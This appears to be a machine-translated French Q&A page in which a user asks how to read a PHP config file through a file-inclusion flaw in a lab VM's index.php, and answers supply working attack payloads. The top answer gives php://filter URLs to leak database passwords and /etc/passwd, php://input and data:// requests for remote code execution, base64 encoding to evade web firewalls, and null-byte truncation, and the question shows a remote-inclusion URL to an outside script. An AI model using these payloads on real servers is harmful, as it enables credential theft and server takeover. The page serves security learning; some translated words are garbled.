web-dev-qa-db-fra.com

PHP sécurité exploit - liste le contenu de la télécommande PHP fichier?

J'essaie d'exploiter certaines vulnérabilités Web dans un exemple de site Web s'exécutant à l'intérieur d'un VM (il n'est pas disponible sur le Web - uniquement à des fins éducatives). J'ai un fichier php nommé setupreset.php qui contient les informations sur la configuration, les paramètres d'installation et les mots de passe MySQL utilisés pour configurer le site Web. C'est dans le même répertoire que le reste des fichiers php (index, produits, forum, etc ...).

Ceci est le code de index.php, pour référence:

<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
    include("home.html"); 
} else { include ($page . '.php'); } 
include ("includes/footer.php");
?>

L'objectif principal est de répertorier le contenu du fichier setupreset PHP, ou de le télécharger en quelque sorte. Si je navigue dans ce fichier: http://10.211.55.5/index.php?page=setupreset, il est exécuté, mais le code PHP n'apparaît naturellement pas car il est analysé par l'interpréteur PHP.

Désormais, le site Web utilise PHP includes. Les URL ressemblent donc à ceci: http://10.211.55.5/index.php?page=products. Cela semble vulnérable à l'inclusion de fichier à distance, où je pourrais simplement pointer vers une autre page PHP, par exemple. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php mais allow_url_include est off et ne peut pas être modifié, donc cela ne fonctionnera pas (j'ai essayé cela). Cependant, allow_url_fopen est susceptible d'être activé (étant donné qu'il est activé par défaut), ma question est la suivante: est-il possible de télécharger un fichier PHP ou un script répertoriant le contenu de setupreset.php en utilisant ce type d'exploit?

7
swiftcode

Si allow_url_include est désactivé, vous ne pouvez pas exécuter de code distant. Mais vous pouvez trouver d'autres pages, par exemple un tableau de bord de gestion de contenu, pour télécharger votre code en tant qu '"image", puis rechercher le chemin d'accès réel et le includename__.

Et, il y a encore des façons d'exploiter.

Regardons à l'intérieur de votre code. Vous remarquerez peut-être qu'il ajoute automatiquement une extension .php à la fin du chemin. Vous devez donc supprimer phpdans le paramètre GET. Mais que se passe-t-il si le fichier que vous souhaitez inclure n’a pas l’extension PHP? Utilisez ensuite %00 pour terminer une chaîne, telle que

http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00

Il existe un protocole spécial en PHP, puissant et dangereux. C'est php://. Vous pouvez consulter le manuel officiel pour des informations détaillées. Ici, je vais vous montrer quelques cas pour transformer une vulnérabilité d'inclusion de fichier en divulgation source et même en vulnérable à l'exécution de code à distance.

Avant votre test, je vous suggère d'utiliser Firefox avecHackBarplugin. C'est une suite de tests d'intrusion puissante.

  1. Divulgation à la source

Cette fonctionnalité n'a pas besoin d'inclusion d'URL autorisée.

php://filter est une sorte de méta-wrapper conçu pour permettre l'application de filtres à un flux au moment de son ouverture. Ceci est utile avec les fonctions de fichier tout-en-un telles que readfile (), file () et file_get_contents () lorsqu'il n'y a pas d'autre possibilité d'appliquer un filtre au flux avant la lecture du contenu. ( Référence )

Ensuite, vous pouvez voir la source secret.inc.php dans le même répertoire via la requête suivante.

http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc

demo

Le contenu du fichier sera encodé en base64, il supporte donc les fichiers binaires.

C'est puissant pour obtenir des informations sensibles, telles que des mots de passe de base de données ou une clé de cryptage! Si le privilège n'est pas correctement configuré, il peut même sortir de la cage et extraire des données de fichiers dans des répertoires externes, comme /etc/passwd!

  1. Exécution de code à distance

En fait, vous ne pouvez pas exploiter cette méthode, car allow_url_include est désactivé dans ce cas.

Mais je dois le signaler car c'est magique !

C'est complètement différent de l'inclusion locale. Il n'est pas nécessaire de télécharger un fichier sur un serveur distant ou autre. Vous n'avez besoin que d'une seule demande.

php://input peut accéder au corps de la requête HTTP brute, que fait donc include("php://input")? Il suffit de visiter http://localhost/include.php?page=php://input, avec le code PHP valide dans le corps de la requête, vous pouvez alors exécuter toute fonction (autorisée) sur le serveur distant!

enter image description here

N'oubliez pas le %00 pour supprimer .php tail.

De plus, PHP prend en charge le schéma d'URL data://. Vous pouvez directement mettre du code dans GET param! Le test suivant ne nécessite aucun outil spécial, seul un navigateur normal peut exécuter une attaque. 

http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>

Certains pare-feu d’applications Web peuvent détecter une chaîne suspecte dans une URL et bloquer une demande malveillante. Ils ne laisseront pas le phpinfoname__. Y a-t-il un moyen de chiffrer? Bien sûr. data:// L'URL prend en charge au moins l'encodage en base64 ...

http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

Et vous aurez à nouveau phpinfo familier!

with base64 encoding

Remarque

L'astuce octet nul (%00) ne fonctionne plus pour PHP> = 5.3.4: http://blog.benjaminwalters.net/?p=22139

33
CodeColorist

Utilisez une traversée de répertoire et terminez votre chaîne de saisie avec le caractère méta %00 NUL (comme indiqué sur wikipedia ).

http://example.com/index.php?page=setuppreset%00

Cela supprimera le suffixe ".php" de l'inclusion et pourrait vous aider d'une manière ou d'une autre.

2
nietonfir

Ce n'est pas. Le fichier php est en cours d'exécution parce que vous appelez include; si vous avez appelé readfile, file_get_contents ou similaire, vous pouvez voir le contenu du fichier php.

0
Evert